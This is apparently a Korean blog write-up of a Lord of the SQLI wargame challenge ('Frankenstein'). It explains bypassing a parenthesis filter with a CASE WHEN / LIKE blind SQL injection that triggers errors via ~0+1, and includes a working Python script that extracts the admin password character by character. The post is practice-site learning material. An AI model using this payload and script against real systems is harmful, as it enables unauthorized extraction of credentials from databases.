LOS(The Lord of the SQLI) 28 - FRANKENSTEIN

2021. 2. 27. 04:19정보보안/웹 해킹

28번 문제 FRANKENSTEIN

 

28번 문제인 Frankenstein이다.

 

이 문제 또한 Blind SQL Injection 문제이며

preg_match 함수를 통해 다음과 같은 문자들을 필터링하고 있다.

 

필터링 되는 문자들

괄호가 필터링되고 있기 때문에 여태까지 Blind SQL Injection을 위해 사용했었던 if(), ascii(), substring() 등의

함수들을 사용할 수 없다.

 

그래서 이 문제에서는 괄호가 들어가지 않는

case when 조건식 then [참일 경우 결과값] else [거짓일 경우 결과값] end 구문을 이용했으며

like 구문과 와일드 카드(%)를 적절히 사용해 문제를 해결했다

 

_(언더바) 또한 와일드 카드로 이용할 수 있지만 정규표현식에 의해 필터링 되고 있음

 

 

쿼리문은 다음과 같다

내가 찾아야 하는건 id가 admin일 경우의 pw이므로 id='admin' 을 통해 참을 만들어주고

pw like '%' 를 통해 비교하며

case 구문이 참일경우는 정상적으로 코드가 출력되게 하고

case 구문이 거짓일 경우엔 에러를 발생시키는 방법을 이용했다.

(괄호 없이)함수를 사용하지않고 에러를 발생시키는 방법은 9e307*2 혹은 ~0+1 등이 있는데 여기에선 ~0+1 방법을

이용했다.

 

 

import requests
URL = 'https://los.rubiya.kr/chall/frankenstein_b5bab23e64777e1756174ad33f14b5db.php' # 자신의 los 문제의 url 주소 수동 입력
cookies ={'PHPSESSID': 'v49g0hp5hksf02hjh39iocgejt'} # 자신의 los 세션값 수동 입력

ascii_range = []

for i in range(48,58):
    ascii_range.append(i)

for i in range(97,123):
    ascii_range.append(i)

# 패스워드를 찾는 함수
def find_pw():
    flag=''
    while 1:
        for ascii in ascii_range: # 아스키 코드값
            value = "'or id='admin' and case when pw like '{}{}%' then 1 else ~0+1 end #".format(flag, chr(ascii))
            parmas = {'pw':value }
            response = requests.get(URL, params=parmas, cookies=cookies)
            if '<br>error' not in response.text:
                print("pw의",len(flag)+1,"번째는",chr(ascii), '입니다.')
                flag += chr(ascii)
                break
    print("pw는", flag, "입니다.")
find_pw()

 

 

스크립트 수행 결과

pw 의 길이가 몇인지 모르지만 pw의 8번째 이후로 더 응답이 없으므로 pw는 8자리라는것을 알 수 있다.

 

 

28번 문제 FRANKENSTEIN Clear!